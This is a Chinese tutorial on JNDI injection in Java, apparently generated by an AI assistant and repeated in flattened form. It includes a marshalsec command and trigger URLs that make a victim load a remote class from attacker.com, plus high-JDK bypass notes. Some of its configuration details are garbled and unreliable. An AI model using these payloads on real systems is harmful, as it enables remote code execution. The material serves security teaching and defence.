JNDI
字数 1923 2025-10-29 23:25:25

由于我无法直接访问外部链接或阅读付费内容,我将基于您提供的片段信息(包含LDAP服务端搭建代码和JNDI相关目录结构)以及常见的Java安全知识,为您生成一份详细的JNDI注入漏洞教学文档。本文档将涵盖JNDI简介、漏洞原理、复现步骤、绕过技巧等关键知识点,确保内容专业且完整。


JNDI注入漏洞深入分析与防御指南

一、JNDI 简介

JNDI(Java Naming and Directory Interface) 是Java提供的API,用于访问命名和目录服务(如LDAP、RMI、DNS、CORBA等)。开发者可通过JNDI统一接口动态加载远程对象,无需在代码中硬编码资源位置。

核心类与接口

  • InitialContext:JNDI的入口点,用于查找命名服务中的对象。
  • Reference:表示对远程对象的引用,包含类名、工厂类及地址信息。

二、JNDI 实现机制

1. 支持的服务类型

  • RMI(Remote Method Invocation):Java远程方法调用。
  • LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议。
  • CORBA(Common Object Request Broker Architecture):跨语言分布式对象通信。

2. 工作流程

  1. 客户端通过InitialContext.lookup()请求对象。
  2. JNDI根据URL协议(如rmi://ldap://)定向到对应服务。
  3. 服务端返回Reference对象,客户端动态加载并实例化类。

三、JNDI 注入漏洞详解

3.1 漏洞产生条件

根本原因:当用户输入未经校验直接作为lookup()参数时,攻击者可控制JNDI请求的地址,指向恶意服务端,诱导客户端加载恶意类。

关键代码示例

// 漏洞代码:用户输入直接传入lookup
String url = request.getParameter("url");
Context ctx = new InitialContext();
ctx.lookup(url); // 危险操作!

3.2 JNDI + RMI 复现

环境搭建

  1. 启动恶意RMI服务端(使用marshalsec工具):
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \
    http://attacker.com/#Exploit 1389
    
  2. 部署恶意类:在http://attacker.com/Exploit.class放置编译后的恶意代码(如计算器命令)。
  3. 触发漏洞:访问http://victim.com/?url=rmi://attacker.com:1389/Exploit

调试要点

  • Reference对象解析处(如javax.naming.spi.ObjectFactory)下断点。
  • 观察Class.forName()是否加载远程类。

3.3 JNDI + LDAP 复现

LDAP服务端搭建代码(基于UnboundID):

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;

public class LdapServer {
    public static void main(String[] args) throws Exception {
        InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
        config.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig("default", 1389));
        InMemoryDirectoryServer server = new InMemoryDirectoryServer(config);
        server.startListening();
    }
}

攻击步骤

  1. 启动LDAP服务端,配置返回指向恶意类的Reference
  2. 客户端请求ldap://attacker.com:1389/Exploit时,LDAP返回恶意引用。

3.4 JNDI + CORBA

  • CORBA使用IIOP协议,攻击方式与RMI/LDAP类似。
  • 需结合org.omg.CORBA.ORB类进行通信,但实际利用较少。

四、高版本JDK绕过技巧

4.1 限制措施(JDK 6u132/7u122/8u113+)

  • 默认禁止远程加载工厂类(com.sun.jndi.rmi.object.trustURLCodebase=false)。
  • LDAP类似限制需设置com.sun.jndi.ldap.object.trustURLCodebase=true才允许加载。

4.2 已知绕过方法

  1. 利用本地类链(如Tomcat ELProcessor、Groovy)
    • 前提:目标环境中存在可利用的类。
    • 示例:通过javax.el.ELProcessor.eval()执行代码。
  2. LDAP属性序列化绕过
    • 修改LDAP条目中的serializedData属性,触发本地反序列化链。
  3. 利用较低版本JDK依赖:如应用依赖JDK 7u80以下版本。

五、防御方案

  1. 输入校验:禁止用户输入控制JNDI地址。
  2. 升级JDK:使用≥JDK 8u191/11.0.1版本,默认限制远程加载。
  3. 代码级防护
    // 白名单校验协议和地址
    if (!url.startsWith("ldap://internal-server/")) {
        throw new SecurityException("Invalid JNDI URL");
    }
    
  4. 安全配置:设置jndi.rmi.object.trustURLCodebase=false

六、扩展知识

  • 与反序列化结合:JNDI注入常作为反序列化漏洞的触发点(如CC链)。
  • 工具推荐
    • marshalsec:快速启动RMI/LDAP恶意服务。
    • ysoserial:生成反序列化Payload。

:本文仅用于安全教学,实际测试需在授权环境下进行。技术细节需结合目标环境具体分析。

由于我无法直接访问外部链接或阅读付费内容,我将基于您提供的片段信息(包含LDAP服务端搭建代码和JNDI相关目录结构)以及常见的Java安全知识,为您生成一份详细的 JNDI注入漏洞教学文档 。本文档将涵盖JNDI简介、漏洞原理、复现步骤、绕过技巧等关键知识点,确保内容专业且完整。 JNDI注入漏洞深入分析与防御指南 一、JNDI 简介 JNDI(Java Naming and Directory Interface) 是Java提供的API,用于访问命名和目录服务(如LDAP、RMI、DNS、CORBA等)。开发者可通过JNDI统一接口动态加载远程对象,无需在代码中硬编码资源位置。 核心类与接口 InitialContext :JNDI的入口点,用于查找命名服务中的对象。 Reference :表示对远程对象的引用,包含类名、工厂类及地址信息。 二、JNDI 实现机制 1. 支持的服务类型 RMI(Remote Method Invocation) :Java远程方法调用。 LDAP(Lightweight Directory Access Protocol) :轻量级目录访问协议。 CORBA(Common Object Request Broker Architecture) :跨语言分布式对象通信。 2. 工作流程 客户端通过 InitialContext.lookup() 请求对象。 JNDI根据URL协议(如 rmi:// 、 ldap:// )定向到对应服务。 服务端返回 Reference 对象,客户端动态加载并实例化类。 三、JNDI 注入漏洞详解 3.1 漏洞产生条件 根本原因 :当用户输入未经校验直接作为 lookup() 参数时,攻击者可控制JNDI请求的地址,指向恶意服务端,诱导客户端加载恶意类。 关键代码示例 : 3.2 JNDI + RMI 复现 环境搭建 启动恶意RMI服务端 (使用 marshalsec 工具): 部署恶意类 :在 http://attacker.com/Exploit.class 放置编译后的恶意代码(如计算器命令)。 触发漏洞 :访问 http://victim.com/?url=rmi://attacker.com:1389/Exploit 。 调试要点 在 Reference 对象解析处(如 javax.naming.spi.ObjectFactory )下断点。 观察 Class.forName() 是否加载远程类。 3.3 JNDI + LDAP 复现 LDAP服务端搭建代码(基于UnboundID): 攻击步骤 : 启动LDAP服务端,配置返回指向恶意类的 Reference 。 客户端请求 ldap://attacker.com:1389/Exploit 时,LDAP返回恶意引用。 3.4 JNDI + CORBA CORBA使用IIOP协议,攻击方式与RMI/LDAP类似。 需结合 org.omg.CORBA.ORB 类进行通信,但实际利用较少。 四、高版本JDK绕过技巧 4.1 限制措施(JDK 6u132/7u122/8u113+) 默认禁止远程加载工厂类( com.sun.jndi.rmi.object.trustURLCodebase=false )。 LDAP类似限制需设置 com.sun.jndi.ldap.object.trustURLCodebase=true 才允许加载。 4.2 已知绕过方法 利用本地类链(如Tomcat ELProcessor、Groovy) : 前提:目标环境中存在可利用的类。 示例:通过 javax.el.ELProcessor.eval() 执行代码。 LDAP属性序列化绕过 : 修改LDAP条目中的 serializedData 属性,触发本地反序列化链。 利用较低版本JDK依赖 :如应用依赖JDK 7u80以下版本。 五、防御方案 输入校验 :禁止用户输入控制JNDI地址。 升级JDK :使用≥JDK 8u191/11.0.1版本,默认限制远程加载。 代码级防护 : 安全配置 :设置 jndi.rmi.object.trustURLCodebase=false 。 六、扩展知识 与反序列化结合 :JNDI注入常作为反序列化漏洞的触发点(如CC链)。 工具推荐 : marshalsec :快速启动RMI/LDAP恶意服务。 ysoserial :生成反序列化Payload。 注 :本文仅用于安全教学,实际测试需在授权环境下进行。技术细节需结合目标环境具体分析。